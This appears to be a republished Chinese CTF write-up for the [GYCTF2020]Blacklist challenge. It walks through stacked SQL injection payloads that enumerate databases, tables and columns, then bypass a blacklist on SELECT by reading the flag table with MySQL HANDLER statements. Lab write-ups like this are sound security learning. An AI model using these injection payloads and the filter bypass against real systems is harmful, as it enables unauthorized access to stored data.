[GYCTF2020]Blacklist&说说真心话
Posted H3h3QAQ
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了[GYCTF2020]Blacklist&说说真心话相关的知识,希望对你有一定的参考价值。
[GYCTF2020]Blacklist
今天没课,就来刷刷题
对于我来说sql注入题一直是菜鸡,正好BUU还有几道题没做(我是菜鸡呜呜呜)
就来做一下[GYCTF2020]Blacklist
然后整理一下
打开靶机:
发现跟[强网杯 2019]随便注
很像
我就试了是:
先爆一下列
1' order by 3;#
到4的时候报错,所以证明只有三列
然后试一下是否存在堆叠注入,试一下payload:
1';show databases;#
存在堆叠注入
接着构造payload:
1';show tables;#
看一下FlagHere
表
构造payload:
1';show columns from FlagHere;#
发现了flag
本来想要直接爆字段
发现ban了select 等函数
翻了翻师傅们的wp
https://blog.csdn.net/zhangxiansheng12/article/details/107247450/?utm_medium=distribute.pc_relevant.none-task-blog-baidujs_title-0&spm=1001.2101.3001.4242
发现需要使用到mysql查询语句-handler
https://blog.csdn.net/JesseYoung/article/details/40785137
通过HANDLER tbl_name OPEN打开一张表,无返回结果,实际上我们在这里声明了一个名为tb1_name的句柄。
通过HANDLER tbl_name READ FIRST获取句柄的第一行,通过READ NEXT依次获取其它行。最后一行执行之后再执行NEXT会返回一个空的结果。
通过HANDLER tbl_name CLOSE来关闭打开的句柄。
通过索引去查看的话可以按照一定的顺序,获取表中的数据。
通过HANDLER tbl_name READ index_name FIRST,获取句柄第一行(索引最小的一行),NEXT获取下一行,PREV获取前一行,LAST获取最后一行(索引最大的一行)。
随即构造新的payload:
1';handler FlagHere open;handler FlagHere read first;#
拿到了flag:
以上是关于[GYCTF2020]Blacklist&说说真心话的主要内容,如果未能解决你的问题,请参考以下文章
从[GYCTF2020]Blacklist] 学习到的 handler 语句